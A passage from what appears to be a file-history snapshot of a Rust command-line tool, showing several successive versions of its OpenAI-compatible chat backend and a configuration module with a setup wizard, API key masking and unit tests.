anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n if super::should_retry(status) && attempt + 1 < super::MAX_RETRIES {\n super::backoff_delay(attempt).await;\n last_err = Some(format!(\n \"OpenAI API error ({}): {}\",\n status,\n text.chars().take(500).collect::<String>()\n ));\n continue;\n }\n\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n anyhow::bail!(\n \"{}\",\n last_err.unwrap_or_else(|| \"OpenAI request failed\".into())\n )\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n}\n"}, "be950557bf26322428905a08322cf5c10a9d2611": {"t": 1785760768.849601, "n": 3410, "h": "20c19aee63804928", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n if super::should_retry(status) && attempt + 1 < super::MAX_RETRIES {\n super::backoff_delay(attempt).await;\n last_err = Some(format!(\"OpenAI API error ({}): {}\", status, text.chars().take(500).collect::<String>()));\n continue;\n }\n\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n anyhow::bail!(\"{}\", last_err.unwrap_or_else(|| \"OpenAI request failed\".into()))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n}\n"}, "7f977758c8a941bd6980fa6692c96550b3a36872": {"t": 1785760770.9140556, "n": 2790, "h": "858a474341eea877", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let resp = self\n .client\n .post(self.build_url())\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n}\n"}, "388379de47893be285fc5542500a018381b0312e": {"t": 1785760772.3044276, "n": 2638, "h": "d215a5c1590406d8", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let resp = self\n .client\n .post(self.build_url())\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n}\n"}, "81ba73cc794ae306b91a08fdbed4bcde22ca235d": {"t": 1785760774.3807633, "n": 2563, "h": "ced09be5aa2e5b2c", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: reqwest::Client::new(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let resp = self\n .client\n .post(self.build_url())\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, text);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n}\n"}, "2f08bf81f9976305605e408ad08ef8c717583081": {"t": 1785760776.2229068, "n": 1925, "h": "a8b54ec03c7a94c8", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::LlmBackend;\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: reqwest::Client::new(),\n }\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let url = format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'));\n\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": 0.1\n });\n\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, text);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n"}}, "src/config.rs": {"9f6d61b742783293d95b348ac1408254df447b0e": {"t": 1785746225.370926, "n": 21552, "h": "c00f7b7ac9b20183", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 48\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 48\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Return a stable identifier for the active backend+model combination.\n/// Used as part of the cache key so switching models auto-invalidates stale entries.\npub fn active_model_id(config: &Config, backend_override: Option<&str>) -> String {\n let backend = backend_override.unwrap_or(&config.default_backend);\n let model = match backend {\n \"openai\" => config.openai.as_ref().map(|c| c.model.as_str()),\n \"claude\" => config.claude.as_ref().map(|c| c.model.as_str()),\n \"gemini\" => config.gemini.as_ref().map(|c| c.model.as_str()),\n \"ollama\" => config.ollama.as_ref().map(|c| c.model.as_str()),\n _ => None,\n };\n format!(\"{}:{}\", backend, model.unwrap_or(\"default\"))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 48);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n 